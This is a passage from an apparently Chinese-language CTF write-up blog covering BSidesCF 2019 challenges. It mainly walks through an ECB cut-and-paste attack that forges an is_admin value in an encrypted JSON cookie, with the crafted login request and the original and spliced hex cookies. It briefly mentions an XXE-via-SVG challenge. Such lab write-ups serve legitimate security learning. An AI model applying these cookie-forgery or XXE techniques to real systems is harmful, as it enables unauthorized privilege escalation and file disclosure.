那如果我们构造刚好 16 位, 也就是1.00000000000000
, 使得这个块独立加密, 然后再放到is_admin
中, 就可以将is_admin
变成1
了
先写出 json
{"first_name":"","last_name":"","is_admin":}
观察到前面的
总共 15 位, 加上一位就可以变成 16 位, 即这样
{"first_name":"A1.00000000000000","last_name":"","is_admin":}
就可以顺利获取我们需要的1.00000000000000
的加密块了
再观察后面, 使得
","last_name":"","is_admin":
为 16 的整数倍, 中间需要填充 4 个字符, 也就是
{"first_name":"A1.00000000000000","last_name":"A333","is_admin":}
那么这个 json 会被分为 5 个部分加密
{"first_name":"A 1.00000000000000 ","last_name":"A 333","is_admin": }
其中最后一个块会被填充到 16 位, 我们首先将上面的 json 以 get 方式提交
/?action=login&first_name=A1.00000000000000&last_name=A333
然后获取 cookie
2a3a97a1e1a60d30206bd0710c7d6436c21965416ed467e21d650a0e019b68eff2c3b097feb7610eb39b30a3bddadcd1967867848b5b83d2629292395c9af2835c8ac8596bd3f958383991f95d145726
33-64
位, 添加到最后的32
位之前
2a3a97a1e1a60d30206bd0710c7d6436c21965416ed467e21d650a0e019b68eff2c3b097feb7610eb39b30a3bddadcd1967867848b5b83d2629292395c9af283c21965416ed467e21d650a0e019b68ef5c8ac8596bd3f958383991f95d145726
就可以看到 flag 了
[BSidesCF 2019]Futurella
看到奇怪的东西, 还以为是在做 misc, 实际上真的是 misc
签到题了解一下
[BSidesCF 2019]SVGMagic 原来这题是要看图片的…
svg 其实就是 xml, 所以还是 xxe, 不过我一直以为解码 base64 就会看到, 直到我打开了图片 hhh
后面就随便读了
[BSidesCF 2019]FlagSrv
作者: cjm00n 地址: https://cjm00n.top/CTF/buuoj-writeup-3.html 版权声明: 除特别说明外,所有文章均采用 CC BY 4.0 许可协议,转载请先取得同意。
评论